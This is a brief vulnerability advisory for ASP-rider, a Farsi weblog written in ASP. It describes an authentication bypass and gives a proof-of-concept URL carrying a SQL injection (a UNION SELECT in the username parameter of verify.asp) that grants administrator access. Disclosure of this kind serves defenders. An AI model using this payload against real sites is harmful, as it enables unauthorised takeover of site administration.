asp-rider is "a full farsi weblog written in ASP".
A vulnerability in the way ASP-rider parses user provided data allows a remote attacker to bypass the product's authentication mechanism and gain administrative privileges to the product.
Proof of concept:
The following URL will illustrate how you can easily log in to the weblog administrator page by entering the following URL: http://vulnerable/weblog/blogadmin/verify.asp?username='union select 1,1,1,1,1,1,1,1 from tbl_users where ''='&password=1